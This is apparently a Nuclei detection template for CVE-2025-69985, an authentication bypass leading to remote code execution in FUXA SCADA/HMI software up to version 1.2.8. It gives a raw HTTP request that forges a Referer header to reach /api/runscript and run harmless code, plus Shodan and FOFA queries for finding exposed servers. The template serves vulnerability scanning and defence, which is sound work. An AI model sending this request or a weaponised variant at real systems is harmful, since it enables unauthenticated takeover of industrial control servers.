CVE-2025-69985: FUXA <= 1.2.8 - Authentication Bypass to Remote Code Execution

id: CVE-2025-69985

info:
  name: FUXA <= 1.2.8 - Authentication Bypass to Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    FUXA versions up to and including 1.2.8 contain an authentication bypass in the jwt-helper.js middleware. The requireAuth function trusts the HTTP Referer header containing '/fuxa' (or localhost/loopback patterns) to whitelist requests as "internal", skipping JWT verification entirely. This allows unauthenticated attackers to POST to /api/runscript and execute arbitrary Node.js code server-side via Module._compile(), typically running as root inside Docker deployments.
  impact: |
    An unauthenticated remote attacker can execute arbitrary system commands on the FUXA server with the privileges of the Node.js process (often root in Docker). This leads to full system compromise, data exfiltration, lateral movement, and potential disruption of SCADA/ICS systems managed by FUXA.
  remediation: |
    Upgrade to FUXA version 1.3.0 or later, which properly enforces JWT authentication without Referer header trust.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69985
    - https://gist.github.com/lihy10/8cb2dd65ebf1385f12a7e00e25a50d40
    - https://github.com/frangoteam/FUXA/blob/master/server/api/jwt-helper.js
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-69985
    epss-score: 0.06021
    epss-percentile: 0.93446
    cwe-id: CWE-288
  metadata:
    verified: true
    max-request: 1
    vendor: frangoteam
    product: fuxa
    shodan-query: title:"FUXA"
    fofa-query: title="FUXA"
  tags: cve,cve2025,fuxa,rce,auth-bypass,scada,ics,vkev

variables:
  p1: "{{rand_text_alpha(8)}}"
  p2: "{{rand_text_alpha(8)}}"

http:
  - raw:
      - |
        POST /api/runscript HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Referer: {{BaseURL}}/fuxa

        {"params":{"script":{"parameters":[],"mode":"","id":"{{p1}}","name":"{{p2}}","code":"return '{{p1}}'+'{{p2}}';","test":"true"},"toLogEvent":false}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"{{p1}}{{p2}}"'

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a0046304402202c03ed001228c110ec940125cb16ffb27458ac48f1f956cccf047beafe337eb8022075051b7dc845117453d638b5890f970cdb75c279f739ab76b69b0318cee4a7a2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.